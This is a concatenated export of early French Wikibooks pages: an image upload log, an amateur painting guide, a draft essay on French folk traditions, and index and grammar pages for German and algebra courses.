"[[:Image:Sp3d2_hybrid_orbital.jpg|Sp3d2_hybrid_orbital.jpg]]" copié sur le serveur <em>(Orbitale hybride sp3d2)</em></li> <li>30 jul 2004 à 21:58 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Sp3d_hybrid_orbital.jpg|Sp3d_hybrid_orbital.jpg]]" copié sur le serveur <em>(Orbitale hybride sp3d)</em></li> <li>30 jul 2004 à 21:57 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Sp3_hybrid_orbital.jpg|Sp3_hybrid_orbital.jpg]]" copié sur le serveur <em>(Orbitale hybride sp3)</em></li> <li>30 jul 2004 à 21:57 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Sp2_hybrid_orbital.jpg|Sp2_hybrid_orbital.jpg]]" copié sur le serveur <em>(Orbitale hybrida sp2)</em></li> <li>30 jul 2004 à 21:56 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Sp_hybrid_orbital.jpg|Sp_hybrid_orbital.jpg]]" copié sur le serveur <em>(Orbitale hybride sp)</em></li> <li>30 jul 2004 à 16:47 [[Utilisateur:HB|HB]] "[[:Image:Proposition_logo2.png|Proposition_logo2.png]]" copié sur le serveur <em>(proposition de logo. Modification du logo anglais. (à supprimer si pb de droit))</em></li> <li>30 jul 2004 à 15:09 [[Utilisateur:Franfois|Franfois]] "[[:Image:Proposition_Franfois_300704.png|Proposition_Franfois_300704.png]]" copié sur le serveur <em>(Proposition de logo Franfois 30 juillet 2004)</em></li> <li>29 jul 2004 à 19:59 [[Utilisateur:HB|HB]] "[[:Image:Awele.JPG|Awele.JPG]]" copié sur le serveur <em>(Jeu d&#39;awalé. Photographie personnelle)</em></li> <li>29 jul 2004 à 19:58 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:1s_orbital.jpg|1s_orbital.jpg]]" copié sur le serveur <em>(Orbitale 1s)</em></li> <li>29 jul 2004 à 19:50 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:S-orbital.png|S-orbital.png]]" copié sur le serveur <em>(Orbitale Sigma)</em></li> <li>29 jul 2004 à 19:49 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:P-orbital.png|P-orbital.png]]" copié sur le serveur <em>(Orbitale Pi)</em></li> <li>29 jul 2004 à 19:49 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Pi-bonding.png|Pi-bonding.png]]" copié sur le serveur <em>(Liaison Pi)</em></li> <li>29 jul 2004 à 19:48 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:D-orbital.png|D-orbital.png]]" copié sur le serveur <em>(Orbitale Delta)</em></li> <li>29 jul 2004 à 19:46 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Delta-bonding.png|Delta-bonding.png]]" copié sur le serveur <em>(Orbitale delta)</em></li> <li>29 jul 2004 à 19:46 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:D-orbital.png|D-orbital.png]]" copié sur le serveur <em>(Orbital Delta)</em></li> <li>29 jul 2004 à 19:45 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Delta-bonding.png|Delta-bonding.png]]" copié sur le serveur <em>(Liaison delta)</em></li> <li>29 jul 2004 à 19:44 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Orbitale_1s.jpg|Orbitale_1s.jpg]]" copié sur le serveur <em>(Orbitale 1s)</em></li> <li>29 jul 2004 à 19:43 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:3d_z2_orbital.jpg|3d_z2_orbital.jpg]]" copié sur le serveur <em>(Orbitale 3d z2)</em></li> <li>29 jul 2004 à 19:42 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:3d_yz_orbital.jpg|3d_yz_orbital.jpg]]" copié sur le serveur <em>(Orbitales 3d yz)</em></li> <li>29 jul 2004 à 19:41 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:3d_xz_orbital.jpg|3d_xz_orbital.jpg]]" copié sur le serveur <em>(Orbitale 3d xz)</em></li> <li>29 jul 2004 à 19:40 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:3d_xy_orbital.jpg|3d_xy_orbital.jpg]]" copié sur le serveur <em>(Orbitale 3d xy)</em></li> <li>29 jul 2004 à 19:39 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:3d_x2-y2_orbital.jpg|3d_x2-y2_orbital.jpg]]" copié sur le serveur <em>(Orbitale 3d x2-y2)</em></li> <li>29 jul 2004 à 19:38 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:3d_orbitals.jpg|3d_orbitals.jpg]]" copié sur le serveur <em>(Orbitales 3d)</em></li> <li>29 jul 2004 à 19:37 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:2p_z_orbital.jpg|2p_z_orbital.jpg]]" copié sur le serveur <em>(Orbitales 2p z)</em></li> <li>29 jul 2004 à 19:37 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:2p_y_orbital.jpg|2p_y_orbital.jpg]]" copié sur le serveur <em>(orbitale 2p y)</em></li> <li>29 jul 2004 à 19:36 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:2p_x_orbital.jpg|2p_x_orbital.jpg]]" copié sur le serveur <em>(Orbitale 2p x)</em></li> <li>29 jul 2004 à 19:34 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:2p_orbitals.jpg|2p_orbitals.jpg]]" copié sur le serveur <em>(Orbitales 2p)</em></li> <li>29 jul 2004 à 14:02 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Panneau_travaux.png|Panneau_travaux.png]]" copié sur le serveur <em>(Panneau travaux)</em></li> <li>25 jul 2004 à 09:18 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb9.png|Bouliernb9.png]]" copié sur le serveur <em>(chiffre 9 avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:17 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb8.png|Bouliernb8.png]]" copié sur le serveur <em>(chiffre 8 avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:11 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb7.png|Bouliernb7.png]]" copié sur le serveur <em>(chiffre 6 avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:09 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb6.png|Bouliernb6.png]]" copié sur le serveur <em>(chiffre 5 avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:08 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb5.png|Bouliernb5.png]]" copié sur le serveur <em>(chiffre 5 avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:07 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb4.png|Bouliernb4.png]]" copié sur le serveur <em>(chiffre 4 avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:06 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb3.png|Bouliernb3.png]]" copié sur le serveur <em>(chiffre 3 avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:05 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb2.png|Bouliernb2.png]]" copié sur le serveur <em>(chiffre 2 avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:04 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb1.png|Bouliernb1.png]]" copié sur le serveur <em>(chiffre 1avec boulier. Image personnelle créée avec Gimp)</em></li> <li>25 jul 2004 à 09:02 [[Utilisateur:HB|HB]] "[[:Image:Bouliernb0.png|Bouliernb0.png]]" copié sur le serveur <em>(chiffre 0 ave boulier. Image personnelle créée avec Gimp)</em></li> <li>24 jul 2004 à 15:39 [[Utilisateur:Greudin|Greudin]] "[[:Image:Cycle.v.jpg|Cycle.v.jpg]]" copié sur le serveur <em>(Cycle en V. Auteur: Traroth. Licence : GFDL.)</em></li> <li>24 jul 2004 à 15:19 [[Utilisateur:Greudin|Greudin]] "[[:Image:Boule-grise.png|Boule-grise.png]]" copié sur le serveur <em>(par HB)</em></li> <li>24 jul 2004 à 15:17 [[Utilisateur:Greudin|Greudin]] "[[:Image:Vertic.png|Vertic.png]]" copié sur le serveur <em>(par HB)</em></li> <li>24 jul 2004 à 15:17 [[Utilisateur:Greudin|Greudin]] "[[:Image:Horiz-r.png|Horiz-r.png]]" copié sur le serveur <em>(par HB)</em></li> <li>24 jul 2004 à 15:17 [[Utilisateur:Greudin|Greudin]] "[[:Image:Boule-rouge.png|Boule-rouge.png]]" copié sur le serveur <em>(par HB)</em></li> <li>24 jul 2004 à 15:16 [[Utilisateur:Greudin|Greudin]] "[[:Image:Boule-noire.png|Boule-noire.png]]" copié sur le serveur <em>(par HB)</em></li> <li>24 jul 2004 à 13:38 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Orbitales_2p.jpg|Orbitales_2p.jpg]]" copié sur le serveur <em>(Orbitales atomiques 2p)</em></li> <li>24 jul 2004 à 13:29 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Orbitale_2p.jpg|Orbitale_2p.jpg]]" copié sur le serveur <em>(Orbitales atomiques 2p)</em></li> <li>24 jul 2004 à 13:11 [[Utilisateur:Hibisco-da-Ilha|Hibisco-da-Ilha]] "[[:Image:Orbitale_1s.jpg|Orbitale_1s.jpg]]" copié sur le serveur <em>(Orbitale atomique 1s)</em></li> <li>24 jul 2004 à 12:57 [[Utilisateur:Greudin|Greudin]] "[[:Image:Neutronsample.png|Neutronsample.png]]" copié sur le serveur <em>(Auteur: Ske)</em></li> <li>24 jul 2004 à 12:56 [[Utilisateur:Greudin|Greudin]] "[[:Image:Neutronstart.png|Neutronstart.png]]" copié sur le serveur <em>(start of neutron game / début du jeu du neutron. Auteur : Ske)</em></li> <li>24 jul 2004 à 12:43 [[Utilisateur:Yann|Yann]] "[[:Image:80px-Wiktionary.png|80px-Wiktionary.png]]" copié sur le serveur <em>(Logo Wiktionary)</em></li> <li>24 jul 2004 à 12:42 [[Utilisateur:Yann|Yann]] "[[:Image:80px-Nohat-logo-X-fr.png|80px-Nohat-logo-X-fr.png]]" copié sur le serveur <em>(Logo Wikipedia)</em></li> <li>24 jul 2004 à 12:41 [[Utilisateur:Yann|Yann]] "[[:Image:80px-Wiki-meta.png|80px-Wiki-meta.png]]" copié sur le serveur <em>(Logo Wikimeta)</em></li> <li>24 jul 2004 à 12:40 [[Utilisateur:Yann|Yann]] "[[:Image:80px-Wikiquote.png|80px-Wikiquote.png]]" copié sur le serveur <em>(Logo Wikiquote)</em></li> <li>24 jul 2004 à 12:39 [[Utilisateur:Yann|Yann]] "[[:Image:80px-Sourceberg.jpg|80px-Sourceberg.jpg]]" copié sur le serveur <em>(Logo Wikisources)</em></li> <li>24 jul 2004 à 11:31 [[Utilisateur:Greudin|Greudin]] "[[:Image:Damier5-5.pdf|Damier5-5.pdf]]" copié sur le serveur <em>(Damier 5x5 par Ske)</em></li> <li>24 jul 2004 à 11:24 [[Utilisateur:Greudin|Greudin]] "[[:Image:Baghbandistart.png|Baghbandistart.png]]" copié sur le serveur <em>(disposition des pions au debut d&#39;une partie de Bagh-Bandi)</em></li> <li>22 jul 2004 à 21:14 [[Utilisateur:COLETTE|COLETTE]] "[[:Image:Fmoinsun.png|Fmoinsun.png]]" copié sur le serveur <em>(fmoinsun)</em></li> <li>22 jul 2004 à 21:13 [[Utilisateur:COLETTE|COLETTE]] "[[:Image:UnA.png|UnA.png]]" copié sur le serveur <em>(Fonction caractéristique)</em></li> <li>22 jul 2004 à 11:05 [[Utilisateur:Yann|Yann]] "[[:Image:Go_To_List_of_All_Textbooks.png|Go_To_List_of_All_Textbooks.png]]" copié sur le serveur <em>(logo Voir tous les livres)</em></li> <li>22 jul 2004 à 11:04 [[Utilisateur:Yann|Yann]] "[[:Image:Go_To_Random_Page.png|Go_To_Random_Page.png]]" copié sur le serveur <em>(logo page au hasard)</em></li> </ul> Image:Go To List of All Textbooks.png 8 11816 2004-12-29T14:31:41Z Xillimiandus 134 + redirect. #REDIRECT [[Wikilivres:Liste de tous les livres]] Peinture 9 41762 2006-05-07T18:28:08Z 84.189.244.48 On pensait autrefois qu'une bonne peinture commençait par un bon dessin... Mais depuis VAN GOGH ce n'est plus vrai : un peintre peut être un fantastique coloriste sans savoir dessiner de façon académique...D'ailleurs VAN GOGH fut méprisé pour cela mais depuis son genie est reconnu et de nombreux peintre suivirent son exemple et travaillèrent à la fois matière et couleur. ''Donc les règles de base ne sont pas forcément de commencer par faire un dessin de base solide (voir plus bas). La façon dont Van Gogh ou Cézanne abordaient la peinture était de regarder les vides et les pleins, les ombres et les lumières. Tentez donc de commencer en peignant directement ce que vous voyez en ne regardant que les taches de couleur. Vous allez faire de l'abstrait passionnant à partir seulement de ce que votre oeil perçoit.'' [[Image:Wikipedia-logo.png|200px]] '''Et faîtes-vous confiance.''' [[Catégorie:Art]] Quelques règles traditionelles en peinture: Faire un dessin de base solide avant d'attaquer une peinture. Faire éventuellement une ou plusieurs esquisses d'étude avant d'attaquer une création longue. En peinture, il existe des tas d'outils, il n'est pas mauvais d'en essayer plusieurs afin de connaître celui avec lequel on est le plus à l'aise, où l'on prend le plus de plaisir. Lorsque l'on se sent suffisament à l'aise avec un outil, essayer d'en changer, afin d'apprendre à jouer avec différents media. Essayer un nouveau medium, signifie aussi souvent reprendre des bases, mais au bout de quelques créations, on apprend en général rapidement à en tirer du plaisir. == La couleur == Il y a plusieurs facons de peindre en couleurs: En utilisant des couleurs disponibles dans les magasins ou en créant les siennes à partir de couleurs de base. La 2eme méthode est bien évidement celle qui donne les meilleurs résultats, cependant tous les media utilisés en peinture ne permettent pas de le faire avec la même facilité. La peinture acrylique par exemple qui permet de faire facilement des mélanges, sèche très rapidement. C'est pratique pour travailler rapidement en plusieurs couches, mais lorsque l'on fait un mélange de couleurs, il vaut mieux prévoir assez de peinture pour toute la surface à peindre, et ne pas avoir à le réutiliser par la suite, car elle sèche très vite sur la palette, et lorsqu'elle est sèche mettre de l'eau ne la rend malheureusment pas à nouveau pâteuse. === Premier exercice de mélange de couleurs, le cercle chromatique === Pour apprendre à faire ses couleurs, il est bon de commencer par un cercle chromatique. Essayer de faire un cercle en commencant par faire les trois couleurs primaires soustractives (cyan, magenta, jaune) puis les couleurs secondaires (rouge, vert, bleu) et enfin les intermédiaires. Faire ensuite un second cercle concentrique entourant le premier, en essayant de foncer celui-ci, non pas en utilisant le noir, mais en utilisant un mélange complémentaire. Vous apprendrez ainsi que bien souvent en peinture, on fonce avec la complémentaire plutôt qu'avec du noir. Le noir est en fait assez rarement utilisé pur. Le blanc est également très rarement utilisé pur, on préférera un mélange de blanc coloré pour les parties les plus claires, même sur les reflets du soleil dans un vase qui subissent généralement une modification de couleur liée à la teinte du vase. Un autre méthode : On peut aussi simplement commencer par peindre en monochormie, par exemple utiliser une gamme de tons chauds qui vont du jaune au rouge le plus carminé en passant par le vermillon. Toutes ces couleurs mélangées au blanc donnent des variétés de tons tous compatibles entre eux. Ensuite on commence à faire des mélanges avec les complèmentaires. Une touche de bleu qui va apporter un peu de densité dans des rouges puis un peu de vert pour faire virer des jaunes au bleu. On se rend compte très vite que la vraie difficulté dans le mélange des couleurs vient du mélange des complémentaires qui ont tendance à plomber la matière. Il faut déjà bien maitriser la monochromie avant de se lancer dans la polychromie. Tout ceci n'est valable que pour un travail réaliste, qui fait référence au réel, pour un travail abstrait, aucune loi n'est utile on fait comme on le sent. === Second exercice de mélange de couleurs === Commencer par faire des collages : choisir des magazines, arracher (je dis bien arracher... pas découper soigneusement mais se permettre de faire le geste d'arracher - très bon pour le cerveau gauche) donc arracher des pages où des grandes taches de couleur attirent votre oeil. Le but est de collecter un grand nombre de morceaux de papier de couleurs et de commencer à explorer les couleurs qui vous attirent et qui probablement forment votre palette naturelle. Puis choisir les 5 morceaux les plus inspirants. Les poser près de votre palette et reproduire la couleur sur la palette pour ensuite la déposer en un petit carré sur la toile. Faire ainsi un patchwork de petits carrés à partir de vos 5 coelurs préférées. Vous pouvez ensuite découper le patchwork, recommencer votre arrachage de pages de magazine, et choisir maintenant 10 couleurs de votre préférence. En renouvelant l'exercice une dizaine de fois, vous allez découvrir que - sans aucune formation de base - vous êtes non seulement capable de peindre mais que votre cerveau engrange l'expérience de trouver les couleurs que vous voulez sur votre palette. Traditions Populaires 10 18479 2005-08-04T21:04:44Z 81.64.64.52 /* Le pot de chambre */ Auteur: Antoine Nivard antoine(AT)nivard(.)com<br> Voici un essai sur les traditions populaires françaises<br> Cet essai est à mettre dans la section Sociologie<br> Cet essai est spécifique à la culture française<br> Je vais essayer de retracer les différentes traditions de notre culture, les origines, ses évolutions et l'état actuel des traditions<br> == Naissance == === Cordon-ombilical === Pourquoi le père doit couper le cordeau ombilical? === Prénom === === Cadeau === En Provence, on offre au nouveau-né une allumette, du sel et un œuf, en lui souhaitant d'être "droit comme une allumette" (= pas de défaut physique), "sain comme le sel" (= bonne santé), "plein comme un œuf" (= abondance de biens), et "bon comme le pain" (= qualités de cœur, moralité). == Adolescence == === Les catherinettes === Sujet à caution: Tradition remontant au début du XXe siècle, les ouvrières en textiles pour marquer le célibat à la 25 ème année, s'habillaient en vert et jaune === L'enterrement de vie garçon/fille === == Mariage == Les colombes symbolisent l'amour car ces animaux gardent à vie leur conjoint (fidélité), pour info tout comme les orques et les manchots. === Annonce du mariage au père de la marié === === Le marié doit acheter le bouquet de fleurs=== Dixit la maman de Nicolas M. le marié doit acheter le bouquet de fleur qui les suivra tout le long de la journée pour les photos et les événements. === La mariée est à gauche du marié et/ou voilé === Vieille légende, à dater<br> A l'époque où les hommes choissaient leur femme en mettant un drap sur leur tête. L'homme voulait être prêt à affronter la famille, et il gardait la main droite libre pour saisir son épée et garder sa femme près de lui. === La bague à l'annulaire gauche === On a très longtemps cru qu'un nerf reliait l'annuaire de la main gauche au coeur. C'est pourquoi la bague est mise à ce doigt là. === Le marié ne conduit pas la voiture des mariés === === Les dragées === Les dragées symbolisent le cadeau des mariés à leurs invités === La jarretière === === Le marié porte sa femme pour rentrer dans le domicile conjugal === Légende sous l'empire romain<br> Cela porte malheur si la mariée trébuche en passant la porte. === Le pot de chambre === Tradition consistant à mélanger dans le pot de chambre une banane, du pain d'épice, du chocolat et du champagne. Il faut le faire boire aux mariés au réveil et à partager avec les personnes présentes. == Mort == === Couleur : noir === === Fleur : chrysanthème === Enseignement de l'allemand 12 41983 2006-05-11T19:44:14Z 84.189.234.95 __NOTOC__ <center> <TABLE CELLPADDING=10> <TD> <center><small>''Bundesrepublik<br>Deutschland''</small><br>[[Image:Flag of Germany.svg|125px|Drapeau de l'Allemagne]]</center> </TD> <TD> <big><big>Deutsch ~ français</big></big><br> <big>Cours d'allemand</big><p> <big>[[Enseignement de l'allemand : Préface|Préface]]</big><br> <big>[[Enseignement de l'allemand : Niveau 1|Niveau 1]] ~ [[Enseignement de l'allemand : Niveau 2|Niveau 2]] ~ [[Enseignement de l'allemand : Niveau 3|Niveau 3]]</big> </TD> <TD><small>''Republik<br>Österreich''</small><br> <center>[[Image:Flag of Austria.png|125px|Drapeau de l'Autriche]] </center> </TD> </TABLE> <!-- Lower flag table (line) --> <TABLE> <TR> <TD><center>[[Image:Schweiz Flagge gross.png|120px|Drapeau de la Suisse]]</center></TD> <TD><center>[[Image:Liechtenstein flag medium.png|120px|Drapeau du Lichtenstein]]</center></TD> <TD><center>[[Image:Flag of Luxembourg.svg|125px|Drapeau du Luxembourg]]</center></TD> <TD><center>[[Image:Flag of Belgium.png|125px|Drapeau de la Belgique]]</center></TD> <TD><center>[[Image:Tyrol.png|Tyrol du Sud (Italie) drapeau]]</center></TD> </TR> <TD><center><small>''Schweizerische<br>Eidgenossenschaft''</small></center></TD> <TD><center><small>''Fürstentum<br>Liechtenstein''</small></center></TD> <TD><center><small>''Großherzogtum<br>Luxemburg''</small></center></TD> <TD><center><small>''Königreich<br>Belgien''</small></center></TD> <TD><center><small>''Autonome Provinz<br>Bozen-Südtirol''</small></TD> </TR> <TR> <TD COLSPAN=5> <small>''Drapeaux des pays et régions germanophones d'Europe''</small> </TD> </TR> == Cours == === Conjugaison === *[[Allemand:Le présent|Le présent]] *[[Allemand:Le prétérit|Le prétérit]] *[[Allemand:Participe passé|Formation du participe passé]] *[[Allemand:Le parfait|Le parfait]] *[[Allemand:Le_plus-que-parfait|Le plus-que-parfait]] *[[Allemand:Le_futur|Le futur]] *[[Allemand:Le_futur_antérieur|Le futur antérieur]] *[[Allemand:L'impératif|L'impératif]] *[[Allemand:Le_subjonctif_I|Le subjonctif I]] *[[Allemand:Le_subjonctif_II|Le subjonctif II]] === Grammaire === * [[Grammaire allemande]] * [[Allemand:Comparatif et superlatif|Le comparatif et le superlatif]] * Les modaux : # [[Allemand_Können et dürfen|Können et dürfen]][[Image:50%.png]] # [[Allemand_Müssen et sollen|Müssen et sollen]][[Image:25%.png]] # [[Allemand_Wollen et mögen|Wollen et mögen]][[Image:50%.png]] == Annexes == * [[Vocabulaire allemand]] * [[Allemand_Verbes_forts|Verbes forts]][[Image:50%.png]] * [[Allemand_Nationalités|Nationalités]] * [[Exercices_Modaux|Exercices Modaux]] * [[Allemand:Culture_allemande|La culture allemande]] [[Catégorie:Langue|Allemand]] [[ca:Alemany]] [[en:German]] [[es:Alemán]] [[fi:Saksan kieli]] [[it:Corso di tedesco]] [[ja:ドイツ語]] [[sv:Tyska]] Grammaire allemande 13 44273 2006-06-10T14:24:37Z 130.240.193.66 /* Subjonctif présent */ == Notions préliminaires == *L'accentuation *L'orthographe et la ponctuation == Les déclinaisons == L'allemand est une langue à cas c'est-à-dire qui se décline. Elle compte 4 cas différents : le nominatif, l'accusatif, le génitif et le datif. === Le nominatif === C'est le cas que l'on utilise pour le sujet de la phrase et l'attribut du sujet. [L'attribut du sujet est séparé du sujet après des verbes comme "être, demeurer, rester, sembler, avoir l'air de"... qui permettent de caractériser ce sujet.] [[Ich]] bin [[der Mann]] : je suis l'homme. [[Ich]] bin [[das Mädchen]] : je suis la fille. [[Ich]] bin [[die Frau)] : je suis la femme. [[Wir]] sind [[die Männer]] : nous sommes les hommes. NOTE: le verbe « être » n'est jamais suivi d'un complément d'object direct (COD), mais toujours d'un attribut, qui se décline comme le nominatif. Ceci est valable pour toutes les langues indo-européennes. On dira donc « Ich bin der Mann » (der = nominatif), jamais « Ich bin den Mann » (den=accusatif). === L'accusatif === I. '''Quand il n'y a pas de préposition''', c'est le cas du complément d'object direct (COD): Ich sehe [[den Mann]]: je vois l'homme. NOTE : Certains verbes sont transitifs (peuvent avoir un COD) en français, mais pas en allemand et inversement : Ich frage [[den]] Mann : je demande [[à]] l'homme. (= je [[le]] questionne) Ich rufe [[den]] Mann an : je téléphone [[à]] l'homme. (= je [[le]] contacte par téléphone) Ich helfe [[dem]] Mann : j'aide [[l'homme]]. (= je [[lui]] apporte mon aide. Ich folgte [[dem]] Mann : je suivis [[l'homme]]. II. '''Quand il y a une préposition''' : a) il y a automatiquement l'accusatif après les prépositions : durch - für - gegen - ohne - um - ... Das ist [[für den]] Vater : c'est pour papa. b) avec une préposition 'spatiale', (an - auf - in - hinter - vor - über - unter - neben - zwischen), si le verbe est 'directionnel' (on veut aller ailleurs), il faut appliquer l'accusatif : Ich [[gehe in die]] Schule : je vais à l'école. BON COURAGE MESDAMES ET MESSIEURS ! === Le datif === C'est le cas utilisé pour le complément d'objet second (COS), c'est-à-dire le destinataire d'une action ou d'un objet : Ich gebe dem Mädchen ein Geschenk : je donne un cadeau (COD: accusatif neutre) à la fille (COS, datif neutre). NOTE : Attention à certains verbes allemands qui sont suivis du datif. Il s'agit de begegnen (rencontrer), danken (remercier), dienen (servir), drohen (menacer), folgen (suivre), helfen (aider), schmeicheln (flatter). Les prépositions aus, bei, mit, nach, seit, von et zu sont suivies du datif. === Le génitif === C'est le cas utilisé pour le complément du nom. Die Geschwindigkeit der Lokomotive : la vitesse de la locomotive (complément du nom, génitif féminin) Le génitif est inusité dans la langue familière, où le complément de nom se forme avec la préposition von (il est donc intrasèquement suivit du datif). === Récapitulation === {| border="1" cellpadding="2" ! Accusatif !! Datif !! Genitif !! Mixte |- | durch (à travers) || aus (à partir de, fait de) || während (pendant) || an (contre) |- | ohne (sans) || außer (sauf) || trotz (malgrè) || auf (sur) |- | um (autour) || bei (chez, près de) || anstatt (au lieu de) || hinter (derrière) |- | gegen (contre) || mit (avec) || wegen (à cause de) || in (dans) |- | bis (jusqu'à)|| nach (après, d’après, vers) || || neben (à côté de) |- | f&uuml;r (pour) || seit (depuis) || || &uuml;ber (au dessus de) |- | entlang (ensemble) || von (de) || || unter (sous) |- | wider (contre, veilli) || zu (à, chez quelqu'un) || || vor (devant) |- | bettrefend (concernant) || gegen&uuml;ber (en face) || || zwischen (entre) |- | bis (jusqu'à) || || || |- | per / pro (par) || || || |} == Articles == En français, il y a deux genres (le masculin et le féminin) et deux nombres (le singulier et le pluriel). Par contre, l'allemand compte trois genres (le masculin , le féminin et le neutre) et toujours deux nombres (le singulier et le pluriel). === Déclinaison de l'article défini allemand singulier === {| border="1" cellspacing="0" cellpadding="5" ! ! Masculin ! Féminin ! Neutre ! Pluriel |- ! Nominatif | De'''r''' gut'''e''' Wein | Di'''e''' gut'''e''' Milche | Da'''s''' gut'''e''' Bier | Di'''e''' gut'''en''' Wein'''e''' |- ! Accusatif | De'''n''' gut'''en''' Wein | Di'''e''' gut'''e''' Milch | Da'''s''' gut'''e''' Bier | Di'''e''' gut'''en''' Wein'''e''' |- ! Datif | De'''m''' gut'''en''' Wein | De'''r''' gut'''en''' Milch | De'''m''' gut'''en''' Bier | De'''n''' gut'''en''' Wein'''en''' |- !Génitif | De'''s''' gut'''en''' Wein'''s''' | De'''r''' gut'''en''' Milch | De'''s''' gut'''en''' Bier'''s''' | De'''r''' gut'''en''' Wein'''e''' |} Il faut savoir que d'autres natures d'éléments qui composent la phrase comme les déterminants, les pronoms, les adjectifs se déclinent. Ces déclinaisons n'ont pour but que de mieux préciser la fonction du mot dans la phrase. Elles se révèlent fort utiles, car il est très aisé d'en comprendre la signification et ce quelques soit l'ordre des mots dans la phrase qui est beaucoup moins rigide que dans d'autres langues telles que le français, l'espagnol ou l'anglais. == Pronoms == {| border="1" cellpadding="2" ! !! Nominatif !! Accusatif !! Datif !! Genitif || (Possessif) |- ! Je | ich || mich || mir || meiner / meines || (mein) |- ! Tu | du || dich || dir || deiner / deines || (dein) |- ! Il | er || ihn || ihm || seiner / seines || (sein) |- ! Elle | sie || sie || ihr || ihrer / ihres || (ihr) |- ! Ca | es || es || ihm || seiner / seines || (sein) |- ! Nous | wir || uns || uns || unser / unseres || (unser) |- ! Vous (pluriel) | ihr || euch || euch || euer / eueres || (euer) |- ! Ils | sie || sie || ihnen || ihrer / ihres || (ihr) |- ! Vous (formel) | Sie || Sie || Ihnen || Ihrer / Ihres || (Ihr) |} == Les conjugaisons == Les verbes allemands se répartissent en deux grands groupes : les verbes faibles (réguliers) et forts (irréguliers, le radical diffère entre le présent et le prétérit). Il faut ajouter à cela les verbes faibles irréguliers (qui suivent la conjugaison des verbes faibles, mais avec une modification du radical au prétérit) et les auxiliaires de modes (dürfen, können, mögen, müssen, sollen, wollen), qui ont une conjugaison particulière. === Subjonctif === Le '''subjonctif''' est un temps de la conjugaison des verbes allemands. ==== Formation ==== Le subjonctif présente trois temps : le subjonctif présent, le subjonctif passé et le subjonctif futur. Il existe aussi le subjonctif II ==== Subjonctif présent ==== Comme d'aprés la conjugaison allemande les verbe de modalité: wollen,sollen,dürfen,mögen,müssen et können dont on prend le radical du prétérite et dont leurs terminaison seront automatiquement celle-ci. ich=e du=est er/sie=e wir=en ihr=et sie/Sie=en donc on en déduis queles verbes de modalité en au subjonctif 2 ressemble un peu au radical du préterit que l'on retrouve dans la formation deu subjonctif 2 présent ===== Subjonctif passé ===== ex:ich würde du würdest er.sie würde wir würden ihr würdet sie/Sie würden ==== Utilisation ==== *Il est utilisé le plus souvent lors du discours indirect. *Il exprime aussi un ordre ou un conseil.<br />Exemple : Seien Sie bitte pünktlich ! ''Soyez à l'heure, s'il vous plaît.'' *Il peut exprimer le souhait ou le désir lorsqu'il est employé à la troisième personne du singulier.<br />Es lebe der König ! ''Vive le roi !'' == Le vocabulaire allemand de base == [[Allemand : Les personnes]] das Haus : la maison der Hund :le chien Algèbre 15 43172 2006-05-26T09:56:50Z Barbichette 1566 singulier == Table des matières == [[Catégorie:Mathématiques]] === Introduction === *[[Algèbre:Introduction|Introduction]] === Notions de base === *[[Algèbre:Théorie élémentaire des ensembles|Théorie élémentaire des ensembles]] *[[Algèbre:Relations|Relations]] *[[Algèbre:Fonctions et applications|Fonctions et applications]] *[[Algèbre:Lois|Lois]] === [[Les structures algébriques]] === *[[Algèbre:Magma|Magma]] *[[Algèbre:Monoïde|Monoïde]] *[[Algèbre:Groupe|Groupe]] *[[Algèbre:Anneau|Anneau]] *[[Algèbre:Corps|Corps]] *[[Algèbre:Module|Module]] 